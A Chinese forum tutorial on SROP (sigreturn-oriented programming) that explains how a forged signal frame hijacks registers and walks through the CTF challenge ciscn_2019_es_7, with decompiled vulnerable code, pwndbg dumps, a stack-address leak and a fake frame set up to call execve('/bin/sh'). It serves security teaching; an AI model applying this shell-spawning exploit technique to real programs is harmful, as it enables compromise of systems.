首页
社区
课程
招聘
[原创]srop基本利用教程
发表于: 2021-4-17 11:30 11180

[原创]srop基本利用教程

2021-4-17 11:30
11180

参考链接

https://www.anquanke.com/post/id/217081

https://blog.csdn.net/mcmuyanga/article/details/112509274

如图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame。

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。
Signal机制缺陷利用
首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。

按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

一个参数用rdi(edi)传
两个参数用rdi、rsi(edi、rsi)传
三个参数用rdi、rsi、rdx(edi、esi、edx)传
四个参数用rdi、rsi、rdx、rcx(edi、esi、edx、ecx)传
五个参数用rdi、rsi、rdx、rcx、r8(edi、esi、edx、ecx、r8)传
六个参数用rdi、rsi、rdx、rcx、r8、r9(edi、esi、edx、ecx、r8、r9)传

这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。

来源buuctf ciscn_2019_es_7

关键函数

系统调用的读入和写出

读入0x400

输出0x30

可以得知buf距离返回地址0x10

so会多泄露0x20的内容

满足条件第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;

然后我们去找栈上的/bin/sh

看见上面ris的指向了吗 变量栈地址

因为我们可以从上面分析知道泄露0x20的内容

那么从输入的栈地址+0x20 里面的内容就是泄露出来的地址

减去0x118就是我们的输入的栈地址咯

还有一种办法就是用info proc map 看内存映射

从栈的内存里面查看用如下指令

会输出rsi上的地址

这个方法和第一种效果一样

可惜了我电脑跑不出就用第一种方法好了

这里还要提下

这个函数是我们做题操作的核心

他可以对寄存器的值进行修改

我先上exp慢慢讲解

buf距离返回地址16个字符大小,我们传入任意16个字符再传入vuln函数地址

(这里为什么不加8到返回地址是因为我们不用跳出这个函数,再次传入vuln地址是为了

从头开始我们还要一次输入机会)

为什么接受32个字符呢 我们传入24 但是距离泄露地址有0x20距离

0x00到0x10是废物数据一共8个字节

调试内容如下

SigreturnFrame()函数我们设置参数

寄存器rax是返回值的存储在这里设置系统调用号

这里

sigframe.rax = constants.SYS_execve等价于

sigframe.rax = 0x3B

因为execve调用号为0X3B=59

execve(x,y,z)有三个参数第一个是命令,后面两个用0补充,所以 rsi和rdx都是0

寄存器设置为变量输入地址会把该地址内存上的东西赋给rax上的函数execve

寄存器rsp是栈指针让他去指向被泄露地址

寄存器rip指向下一条指令的地址这里用syscall

(为了避免误会说一下,这个下一条指令指的是执行完execve,system调用最终依然是依靠execve()实现调用的)

execve system二者关系详解

https://blog.csdn.net/lenk2010/article/details/20049289

文章比较复杂基础不好的可以直接略过没事的

2个syscall随便选一个都可以

传入命令/bin/sh 1个\x00用来截断剩下的凑数然后传入sigreturn_addr接着调用syscall来执行手动设置的fake sigframe

结果

1.有系统调用15号

2.有溢出有输出或格式化字符串能任意读取任意写

3.传入/bin/sh后传入sigreturn的地址接着传入我们手动构造的SigreturnFrame

 
 
 
 
 
 
 
 
 
 
 
 
 
 
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF
 
  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF
 
  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}
 
 
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
 
 
 
RAX  0x30
 RBX  0x0
 RCX  0x400519 (vuln+44) ◂— ret   
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffdfe0 ◂— 0xa616861686168 /* 'hahaha\n' */
 R8   0x7ffff7dced80 (initial) ◂— 0x0
 R9   0x7ffff7dced80 (initial) ◂— 0x0
 R10  0x3
 R11  0x246
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0f0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdff0 —▸ 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdff8 —▸ 0x400536 (main+25) ◂— nop   
 RIP  0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
RAX  0x30
 RBX  0x0
 RCX  0x400519 (vuln+44) ◂— ret   
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffdfe0 ◂— 0xa616861686168 /* 'hahaha\n' */
 R8   0x7ffff7dced80 (initial) ◂— 0x0
 R9   0x7ffff7dced80 (initial) ◂— 0x0
 R10  0x3
 R11  0x246
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0f0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdff0 —▸ 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdff8 —▸ 0x400536 (main+25) ◂— nop   
 RIP  0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
/8gx 0x7fffffffdfe0
0x7fffffffdfe0:    0x000a616861686168    0x0000000000000000
0x7fffffffdff0:    0x00007fffffffe010    0x0000000000400536
0x7fffffffe000:    0x00007fffffffe0f8    0x0000000100000000
0x7fffffffe010:    0x0000000000400540    0x00007ffff7a03bf7
pwndbg> hex(0x00007fffffffe0f8-0x7fffffffdfe0)
+0000 0x000118
/8gx 0x7fffffffdfe0
0x7fffffffdfe0:    0x000a616861686168    0x0000000000000000
0x7fffffffdff0:    0x00007fffffffe010    0x0000000000400536
0x7fffffffe000:    0x00007fffffffe0f8    0x0000000100000000
0x7fffffffe010:    0x0000000000400540    0x00007ffff7a03bf7
pwndbg> hex(0x00007fffffffe0f8-0x7fffffffdfe0)
+0000 0x000118
 
 
 
Mapped address spaces:
 
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/q/c7
            0x600000           0x601000     0x1000        0x0 /home/q/c7
            0x601000           0x602000     0x1000     0x1000 /home/q/c7
      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000        0x0
      0x7ffff7dd3000     0x7ffff7dfc000    0x29000        0x0 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7fe1000     0x7ffff7fe3000     0x2000        0x0
      0x7ffff7ff8000     0x7ffff7ffb000     0x3000        0x0 [vvar]
      0x7ffff7ffb000     0x7ffff7ffc000     0x1000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
Mapped address spaces:
 
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/q/c7
            0x600000           0x601000     0x1000        0x0 /home/q/c7
            0x601000           0x602000     0x1000     0x1000 /home/q/c7
      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//